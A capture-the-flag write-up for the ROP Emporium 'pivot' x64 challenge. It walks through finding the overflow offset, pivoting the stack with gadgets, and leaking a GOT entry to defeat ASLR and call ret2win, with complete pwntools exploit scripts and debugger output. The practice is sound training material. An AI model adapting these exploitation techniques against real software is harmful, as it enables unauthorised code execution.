Contents

ROP Emporium - Pivot (x64)

Summary

pivot was a fundamental challenge from the rop emporium that required the pwner to pivot the stack to another location and leak the base address of a shared module and finally invoke a non-imported function. This is a fundamental skill in ROP chaining since in practice, you normally want to invoke non-imported calls from libc. You can read more on the challenge here.

Analyze the Countermeasures

Always analyze binary countermeasures because it will determine our objective for exploiting the binary and what the limitations are. For all my binary exploit development walkthroughs, I will be using pwntools which when installed comes with checksec. This tool analyzes countermeasures in the binary when it was initially compiled:

$ checksec pivot
[*] '/home/kali/ctf/rop-emporium/pivot/x64/pivot'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'

The stack is non-executable, so we won’t be able to redirect the program’s execution to memory instructions located on the stack. It is also notable that RUNPATH points to the current working directory. This is because this challenge also came with a libpivot.so shared object file that links to the executable upon runtime:

$ ldd pivot
        linux-vdso.so.1 (0x00007ffd683e0000)
        libpivot.so => ./libpivot.so (0x00007f9745335000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9745156000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f9745539000)

The Challenge Layout

This challenge came with a shared object file libpivot.so which is linked at runtime:

flag.txt  libpivot.so  pivot

A First Glance

Notice how the pivoting address changes each time the executable runs:

$ ./pivot
pivot by ROP Emporium
x86_64

Call ret2win() from libpivot
The Old Gods kindly bestow upon you a place to pivot: 0x7fba9ee2af10
Send a ROP chain now and it will land there
> weee
Thank you!

Now please send your stack smash
> cool
Thank you!

Exiting
kali@kali:~/ctf/rop-emporium/pivot/x64$ ./pivot
pivot by ROP Emporium
x86_64

Call ret2win() from libpivot
The Old Gods kindly bestow upon you a place to pivot: 0x7fe2e5fccf10
Send a ROP chain now and it will land there
> weee
Thank you!

Now please send your stack smash
> cool
Thank you!

Exiting

The first time we ran the executable, we notice the pivoting address was 0x7fba9ee2af10. The second time we ran it, the pivoting address was 0x7fe2e5fccf10.

Goals

  1. Call ret2win() from libpivot.so.

Finding the Crash Offset

After a first glance at the binary, we notice that it accepts input twice. The first time, it asks for a ROP chain, and the second time, it asks for stack smashing. For now, we are only interested in stack smashing, so we will send some junk for the first input and calculate the offset at which we can control RIP the second time it requsts input.

from pwn import *

# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'

# Project constants
PROCESS = './pivot'
io = process(PROCESS)

# Debugging
gdbscript = ""
pid = gdb.attach(io, gdbscript=gdbscript)

io.clean()
io.sendline(b"A"*128)
io.recvuntil(b"Now please send your stack smash")
io.sendline(cyclic(128))
io.interactive()
$ python3 exploit.py
[+] Starting local process './pivot' argv=[b'./pivot'] : pid 9338
[*] running in new terminal: /usr/bin/gdb -q  "./pivot" 9338
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q  "./pivot" 9338']
[+] Waiting for debugger: Done
[DEBUG] Received 0xae bytes:
    b'pivot by ROP Emporium\n'
    b'x86_64\n'
    b'\n'
    b'Call ret2win() from libpivot\n'
    b'The Old Gods kindly bestow upon you a place to pivot: 0x7ff9dd8f9f10\n'
    b'Send a ROP chain now and it will land there\n'
    b'> '
[DEBUG] Sent 0x81 bytes:
    b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[DEBUG] Received 0x2f bytes:
    b'Thank you!\n'
    b'\n'
    b'Now please send your stack smash\n'
    b'> '
[DEBUG] Sent 0x81 bytes:
    b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab\n'
[*] Switching to interactive mode

Let’s find what RSP points to in GDB determine the offset:

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xb               
$rbx   : 0x0               
$rcx   : 0x00007ff9dd9ecff3  →  0x5577fffff0003d48 ("H="?)
$rdx   : 0x0               
$rsp   : 0x00007fff9d70da48  →  0x6161616c6161616b ("kaaalaaa"?)
$rbp   : 0x6161616a61616169 ("iaaajaaa"?)
$rsi   : 0x00007ff9ddabd723  →  0xabf670000000000a
$rdi   : 0x00007ff9ddabf670  →  0x0000000000000000
$rip   : 0x00000000004009a7  →  <pwnme+182> ret 
$r8    : 0xb               
$r9    : 0x2               
$r10   : 0x0000000000400b34  →  0x6b6e61685400203e ("> "?)
$r11   : 0x246             
$r12   : 0x0000000000400760  →  <_start+0> xor ebp, ebp
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fff9d70da48│+0x0000: 0x6161616c6161616b   ← $rsp
0x00007fff9d70da50│+0x0008: 0x6161616e6161616d
0x00007fff9d70da58│+0x0010: 0x616161706161616f
0x00007fff9d70da60│+0x0018: 0x00000000004009d0  →  <__libc_csu_init+0> push r15
0x00007fff9d70da68│+0x0020: 0x00007ff9dd924cca  →  <__libc_start_main+234> mov edi, eax
0x00007fff9d70da70│+0x0028: 0x00007fff9d70db58  →  0x00007fff9d70e40b  →  0x00746f7669702f2e ("./pivot"?)
0x00007fff9d70da78│+0x0030: 0x0000000100000000
0x00007fff9d70da80│+0x0038: 0x0000000000400847  →  <main+0> push rbp
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4009a0 <pwnme+175>      call   0x4006e0 <puts@plt>
     0x4009a5 <pwnme+180>      nop    
     0x4009a6 <pwnme+181>      leave  
 →   0x4009a7 <pwnme+182>      ret    
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pivot", stopped 0x4009a7 in pwnme (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4009a7 → pwnme()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ 

RSP points to kaaa which means that we can control RIP at offset 40 in the buffer:

$ cyclic -l kaaa
40

Restricted Stack Space

For this challenge, it is also important to notice that we have limited stack space. After running the exploit another time, let’s examine the stack contents just before the crash:

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xb               
$rbx   : 0x0               
$rcx   : 0x00007f1feae67ff3  →  0x5577fffff0003d48 ("H="?)
$rdx   : 0x0               
$rsp   : 0x00007ffc1f3419e8  →  0x6161616c6161616b ("kaaalaaa"?)
$rbp   : 0x6161616a61616169 ("iaaajaaa"?)
$rsi   : 0x00007f1feaf38723  →  0xf3a670000000000a
$rdi   : 0x00007f1feaf3a670  →  0x0000000000000000
$rip   : 0x00000000004009a7  →  <pwnme+182> ret 
$r8    : 0xb               
$r9    : 0x2               
$r10   : 0x0000000000400b34  →  0x6b6e61685400203e ("> "?)
$r11   : 0x246             
$r12   : 0x0000000000400760  →  <_start+0> xor ebp, ebp
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffc1f3419e8│+0x0000: 0x6161616c6161616b   ← $rsp
0x00007ffc1f3419f0│+0x0008: 0x6161616e6161616d
0x00007ffc1f3419f8│+0x0010: 0x616161706161616f
0x00007ffc1f341a00│+0x0018: 0x00000000004009d0  →  <__libc_csu_init+0> push r15
0x00007ffc1f341a08│+0x0020: 0x00007f1fead9fcca  →  <__libc_start_main+234> mov edi, eax
0x00007ffc1f341a10│+0x0028: 0x00007ffc1f341af8  →  0x00007ffc1f34240b  →  0x00746f7669702f2e ("./pivot"?)
0x00007ffc1f341a18│+0x0030: 0x0000000100000000
0x00007ffc1f341a20│+0x0038: 0x0000000000400847  →  <main+0> push rbp
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4009a0 <pwnme+175>      call   0x4006e0 <puts@plt>
     0x4009a5 <pwnme+180>      nop    
     0x4009a6 <pwnme+181>      leave  
 →   0x4009a7 <pwnme+182>      ret    
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pivot", stopped 0x4009a7 in pwnme (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4009a7 → pwnme()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/32xg $rsp
0x7ffc1f3419e8: 0x6161616c6161616b      0x6161616e6161616d
0x7ffc1f3419f8: 0x616161706161616f      0x00000000004009d0
0x7ffc1f341a08: 0x00007f1fead9fcca      0x00007ffc1f341af8
0x7ffc1f341a18: 0x0000000100000000      0x0000000000400847
0x7ffc1f341a28: 0x00007f1fead9f7d9      0x0000000000000000
0x7ffc1f341a38: 0x2816d8a63d046d56      0x0000000000400760
0x7ffc1f341a48: 0x0000000000000000      0x0000000000000000
0x7ffc1f341a58: 0x0000000000000000      0xd7eee64e1a846d56
0x7ffc1f341a68: 0xd6290d95d7a26d56      0x0000000000000000
0x7ffc1f341a78: 0x0000000000000000      0x0000000000000000
0x7ffc1f341a88: 0x0000000000000001      0x00007ffc1f341af8
0x7ffc1f341a98: 0x00007ffc1f341b08      0x00007f1feb188180
0x7ffc1f341aa8: 0x0000000000000000      0x0000000000000000
0x7ffc1f341ab8: 0x0000000000400760      0x00007ffc1f341af0
0x7ffc1f341ac8: 0x0000000000000000      0x0000000000000000
0x7ffc1f341ad8: 0x000000000040078a      0x00007ffc1f341ae8

Notice how the last characters in our buffer on the stack are 0x616161706161616f. This means that we only have three memory addresses (0x18 bytes) to work with in our ROP chain.

For the curious, we can translate those bytes from little endian with pwntools:

$ python3
Python 3.8.5 (default, Aug  2 2020, 15:09:07) 
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> foo = p64(0x616161706161616f)
>>> foo
b'oaaapaaa'
>>> 

Examining our cyclic pattern, we can see that our pattern got truncated just before qaaa:

$ echo -n aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab | xxd
00000000: 6161 6161 6261 6161 6361 6161 6461 6161  aaaabaaacaaadaaa
00000010: 6561 6161 6661 6161 6761 6161 6861 6161  eaaafaaagaaahaaa
00000020: 6961 6161 6a61 6161 6b61 6161 6c61 6161  iaaajaaakaaalaaa
00000030: 6d61 6161 6e61 6161 6f61 6161 7061 6161  maaanaaaoaaapaaa
00000040: 7161 6161 7261 6161 7361 6161 7461 6161  qaaaraaasaaataaa
00000050: 7561 6161 7661 6161 7761 6161 7861 6161  uaaavaaawaaaxaaa
00000060: 7961 6161 7a61 6162 6261 6162 6361 6162  yaaazaabbaabcaab
00000070: 6461 6162 6561 6162 6661 6162 6761 6162  daabeaabfaabgaab

Treasure Hunting

Let’s search for interesting symbols in the the binary with radare2:

[0x00400760]> is
[Symbols]

nth paddr       vaddr      bind   type   size lib name
――――――――――――――――――――――――――――――――――――――――――――――――――――――
... CONTENT SNIPPED ...
38   0x000009bb 0x004009bb LOCAL  NOTYPE 0        usefulGadgets
... CONTENT SNIPPED ...

Now, let’s seek the usefulGadgets symbol and dump 16 instructions:

[0x00400760]> s 0x004009bb
[0x004009bb]> pd 16
            ;-- usefulGadgets:
            0x004009bb      58             pop rax
            0x004009bc      c3             ret
            0x004009bd      4894           xchg rax, rsp
            0x004009bf      c3             ret
            0x004009c0      488b00         mov rax, qword [rax]
            0x004009c3      c3             ret
            0x004009c4      4801e8         add rax, rbp
            0x004009c7      c3             ret
            0x004009c8      0f1f84000000.  nop dword [rax + rax]
... CONTENT SNIPPED ...

From here, we should be able to redirect the stack pointer (RSP) to a location specified by RAX. We have full control over the RAX register since we have access to the pop rax; ret; gadget at 0x004009bb.

Therefore, we can try pointing RAX to the leaked stack address so we can have more space for our ROP chain!

Pivoting the Stack

The code below reads the leaked stack address and sends a small ROP chain to pivot the stack pointer to a location in memory where we can resume execution from a larger ROP chain. We do this because after smashing the stack, we only had 0x18 bytes of memory left for our pivoting chain.

If you are following along, I also set a breakpoint so that you can analyze the pivoting chain’s execution in GDB.

import binascii
from pwn import *

# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'

# Project constants
PROCESS = './pivot'
io = process(PROCESS)

# Debugging
gdbscript = "b *0x4009a7"
pid = gdb.attach(io, gdbscript=gdbscript)

# Get the leaked pivot address
io.recvuntil(b"The Old Gods kindly bestow upon you a place to pivot: 0x")
raw_pivot_addr = io.recvline().strip().rjust(16, b"0")
pivot_addr = u64(binascii.unhexlify(raw_pivot_addr), endian='big')
info(f'Stack pivoting address at {hex(pivot_addr)}')

# Stack pivoting gadgets
pop_rax_ret = p64(0x004009bb)
xchg_rax_rsp_ret = p64(0x004009bd)

# Make the stack smashing payload to pivot to the ROP chain
# This will point RSP to the location where our ROP chain resides.
offset = 40
padding = b"A" * offset
stack_smash = b"".join([
    padding,
    pop_rax_ret,
    p64(pivot_addr),
    xchg_rax_rsp_ret
])

# Verify that we can redirect the program's execution to the pivoted address
rip = p64(0xdeadbeef)

# Send the ROP chain
io.sendline(rip)

# Smash the stack
io.recvuntil(b"Now please send your stack smash")
io.sendline(stack_smash)
io.interactive()
$ python3 exploit.py
[+] Starting local process './pivot' argv=[b'./pivot'] : pid 2639
[DEBUG] Wrote gdb script to '/tmp/pwnulahryo7.gdb'
    b *0x4009a7
[*] running in new terminal: /usr/bin/gdb -q  "./pivot" 2639 -x /tmp/pwnulahryo7.gdb
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q  "./pivot" 2639 -x /tmp/pwnulahryo7.gdb']
[+] Waiting for debugger: Done
[DEBUG] Received 0xae bytes:
    b'pivot by ROP Emporium\n'
    b'x86_64\n'
    b'\n'
    b'Call ret2win() from libpivot\n'
    b'The Old Gods kindly bestow upon you a place to pivot: 0x7f95a1ee5f10\n'
    b'Send a ROP chain now and it will land there\n'
    b'> '
[*] Stack pivoting address at 0x7f95a1ee5f10
[DEBUG] Sent 0x9 bytes:
    00000000  ef be ad de  00 00 00 00  0a                        │····│····│·│
    00000009
[DEBUG] Received 0x2f bytes:
    b'Thank you!\n'
    b'\n'
    b'Now please send your stack smash\n'
    b'> '
[DEBUG] Sent 0x41 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  bb 09 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000030  10 5f ee a1  95 7f 00 00  bd 09 40 00  00 00 00 00  │·_··│····│··@·│····│
    00000040  0a                                                  │·│
    00000041
[*] Switching to interactive mode

> [DEBUG] Received 0xb bytes:
    b'Thank you!\n'
Thank you!

Let’s examine the output in GDB below:

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007ffcafae2190  →  0x00000000004009d0  →  <__libc_csu_init+0> push r15
$rbx   : 0x0               
$rcx   : 0x00007f95a1fd8ff3  →  0x5577fffff0003d48 ("H="?)
$rdx   : 0x0               
$rsp   : 0x00007f95a1ee5f18  →  0x000000000000000a
$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x00007f95a20a9723  →  0x0ab670000000000a
$rdi   : 0x00007f95a20ab670  →  0x0000000000000000
$rip   : 0xdeadbeef        
$r8    : 0xb               
$r9    : 0x2               
$r10   : 0x0000000000400b34  →  0x6b6e61685400203e ("> "?)
$r11   : 0x246             
$r12   : 0x0000000000400760  →  <_start+0> xor ebp, ebp
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007f95a1ee5f18│+0x0000: 0x000000000000000a   ← $rsp
0x00007f95a1ee5f20│+0x0008: 0x0000000000000000
0x00007f95a1ee5f28│+0x0010: 0x0000000000000000
0x00007f95a1ee5f30│+0x0018: 0x0000000000000000
0x00007f95a1ee5f38│+0x0020: 0x0000000000000000
0x00007f95a1ee5f40│+0x0028: 0x0000000000000000
0x00007f95a1ee5f48│+0x0030: 0x0000000000000000
0x00007f95a1ee5f50│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0xdeadbeef
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pivot", stopped 0xdeadbeef in ?? (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  

Excellent! It looks like we have successfully pivoted the stack poitner to a location (0xdeadbeef) where we can place a larger ROP chain!

Calling ret2win()

After analyzing the pivot binary, we notice it does not import the ret2win() function. However, the ret2win() function is defined in the libpivot.so shared object file which means we need a way to invoke that address!

$ r2 libpivot.so
[0x00000890]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00000890]> afl
... CONTENT SNIPPED ...
0x0000096a    1 19           sym.foothold_function
0x00000a81    3 146          sym.ret2win
... CONTENT SNIPPED ...

Since libpivot.so is linked upon runtime, we need a way to leak the base address at which this module is loaded. We need to do this because modern operating systems almost always have ASLR (Address Space Layout Randomization) enabled which randomizes the base addresses at which modules are loaded.

Consider the following:

$ ldd pivot
        linux-vdso.so.1 (0x00007ffc5f530000)
        libpivot.so => ./libpivot.so (0x00007fc0def5f000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc0ded80000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fc0df163000)
$ ldd pivot
        linux-vdso.so.1 (0x00007fffba3e0000)
        libpivot.so => ./libpivot.so (0x00007f8e80030000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8e7fe51000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f8e80234000)

Notice how in both instances, libpivot.so was loaded at a different base address.

Now, let’s analyze the pivot ELF file:

$ r2 pivot
[0x00400760]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

And look at the imported functions:

[0x00400760]> ii
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x004006d0 GLOBAL FUNC       free
2   0x004006e0 GLOBAL FUNC       puts
3   0x004006f0 GLOBAL FUNC       printf
4   0x00400700 GLOBAL FUNC       memset
5   0x00400710 GLOBAL FUNC       read
6   0x00000000 GLOBAL FUNC       __libc_start_main
7   0x00000000 WEAK   NOTYPE     __gmon_start__
8   0x00400720 GLOBAL FUNC       foothold_function
9   0x00400730 GLOBAL FUNC       malloc
10  0x00400740 GLOBAL FUNC       setvbuf
11  0x00400750 GLOBAL FUNC       exit

Since foothold_function is an import from libpivot.so, we can leak the dynamic entry to foothold_function in the GOT (Global Offset Table). However, to populate the foothold_function entry in the GOT, the program first needs to have invoked it. After leaking the location of the foothold_function GOT entry, we can use the offset at which ret2win is located in libpivot.so to calculate the absolute memory location of ret2win in the executable’s runtime.

The code below is updated with a ROP chain that satisfies all the criteria above. You may notice that most gadgets are from the usefulGadgets symbol in pivot. However, it takes more ROP gadgets to properly implement a ROP chain that will eventuall call ret2win.

If you wish to analyze the ROP chains in action, you can uncomment the debugging section in the code.

import binascii
from pwn import *

# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'

# Project constants
PROCESS = './pivot'
io = process(PROCESS)

# Debugging
'''
gdbscript = "b *0x4009a7"
pid = gdb.attach(io, gdbscript=gdbscript)
'''

# ROP Gadgets
pop_rax_ret = p64(0x004009bb)       # pop rax; ret;
xchg_rax_rsp_ret = p64(0x004009bd)  # xchg rax, rsp; ret;
mov_rax_mrax = p64(0x004009c0)      # mov rax, qword [rax]; ret;
add_rax_rbp = p64(0x004009c4)       # add rax, rbp; ret;
pop_rbp_ret = p64(0x00400829)       # pop rbp; ret;
call_rax = p64(0x004006b0)          # call rax; ret;

# Get the leaked pivot address
io.recvuntil(b"The Old Gods kindly bestow upon you a place to pivot: 0x")
raw_pivot_addr = io.recvline().strip().rjust(16, b"0")
pivot_addr = u64(binascii.unhexlify(raw_pivot_addr), endian='big')
info(f'Stack pivoting address at {hex(pivot_addr)}')

# Make the stack smashing payload to pivot to the ROP chain
# This will point RSP to the location where our ROP chain resides.
offset = 40
padding = b"A" * offset
stack_smash = b"".join([
    padding,
    pop_rax_ret,
    p64(pivot_addr),
    xchg_rax_rsp_ret
])

# ROP Chain that calculates the offset of ret2win relative to where foothold_function's GOT entry points to.
libpivot = ELF("./libpivot.so")
ret2win_offset = p64(libpivot.sym['ret2win'] - libpivot.sym['foothold_function'])
foothold_function_plt = p64(io.elf.plt['foothold_function'])
foothold_function_got = p64(io.elf.got['foothold_function'])

rop_chain = b"".join([
    foothold_function_plt, # Calculate the address of ret2win relative to foothold_function in libpivot.so with x64 assembly
    pop_rax_ret,           # Set RAX to the pointer to the GOT foothold_function
    foothold_function_got,
    pop_rbp_ret,           # Set RBP to the ret2win offset
    ret2win_offset,
    mov_rax_mrax,          # Set RAX to the GOT foothold_function
    add_rax_rbp,           # Add the offset to the GOT foothold_function
    call_rax               # Call ret2win
])

# Send the ROP chain
io.sendline(rop_chain)

# Smash the stack
io.recvuntil(b"Now please send your stack smash")
io.sendline(stack_smash)
io.recvall()
$ python3 exploit.py
[+] Starting local process './pivot' argv=[b'./pivot'] : pid 2916
[DEBUG] Received 0xae bytes:
    b'pivot by ROP Emporium\n'
    b'x86_64\n'
    b'\n'
    b'Call ret2win() from libpivot\n'
    b'The Old Gods kindly bestow upon you a place to pivot: 0x7f229c51ef10\n'
    b'Send a ROP chain now and it will land there\n'
    b'> '
[*] Stack pivoting address at 0x7f229c51ef10
[DEBUG] PLT 0x830 puts
[DEBUG] PLT 0x840 fclose
[DEBUG] PLT 0x850 fgets
[DEBUG] PLT 0x860 fopen
[DEBUG] PLT 0x870 exit
[DEBUG] PLT 0x880 __cxa_finalize
[*] '/home/kali/ctf/rop-emporium/pivot/x64/libpivot.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[DEBUG] PLT 0x4006d0 free
[DEBUG] PLT 0x4006e0 puts
[DEBUG] PLT 0x4006f0 printf
[DEBUG] PLT 0x400700 memset
[DEBUG] PLT 0x400710 read
[DEBUG] PLT 0x400720 foothold_function
[DEBUG] PLT 0x400730 malloc
[DEBUG] PLT 0x400740 setvbuf
[DEBUG] PLT 0x400750 exit
[*] '/home/kali/ctf/rop-emporium/pivot/x64/pivot'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'
[DEBUG] PLT 0x4006d0 free
[DEBUG] PLT 0x4006e0 puts
[DEBUG] PLT 0x4006f0 printf
[DEBUG] PLT 0x400700 memset
[DEBUG] PLT 0x400710 read
[DEBUG] PLT 0x400720 foothold_function
[DEBUG] PLT 0x400730 malloc
[DEBUG] PLT 0x400740 setvbuf
[DEBUG] PLT 0x400750 exit
[DEBUG] Sent 0x41 bytes:
    00000000  20 07 40 00  00 00 00 00  bb 09 40 00  00 00 00 00  │ ·@·│····│··@·│····│
    00000010  40 10 60 00  00 00 00 00  29 08 40 00  00 00 00 00  │@·`·│····│)·@·│····│
    00000020  17 01 00 00  00 00 00 00  c0 09 40 00  00 00 00 00  │····│····│··@·│····│
    00000030  c4 09 40 00  00 00 00 00  b0 06 40 00  00 00 00 00  │··@·│····│··@·│····│
    00000040  0a                                                  │·│
    00000041
[DEBUG] Received 0x2f bytes:
    b'Thank you!\n'
    b'\n'
    b'Now please send your stack smash\n'
    b'> '
[DEBUG] Sent 0x41 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  bb 09 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000030  10 ef 51 9c  22 7f 00 00  bd 09 40 00  00 00 00 00  │··Q·│"···│··@·│····│
    00000040  0a                                                  │·│
    00000041
[+] Receiving all data: Done (129B)
[DEBUG] Received 0x5d bytes:
    b'Thank you!\n'
    b'foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot\n'
[DEBUG] Received 0x21 bytes:
    b'ROPE{a_placeholder_32byte_flag!}\n'
[*] Process './pivot' stopped with exit code 0 (pid 2916)

And we get the flag: ROPE{a_placeholder_32byte_flag!}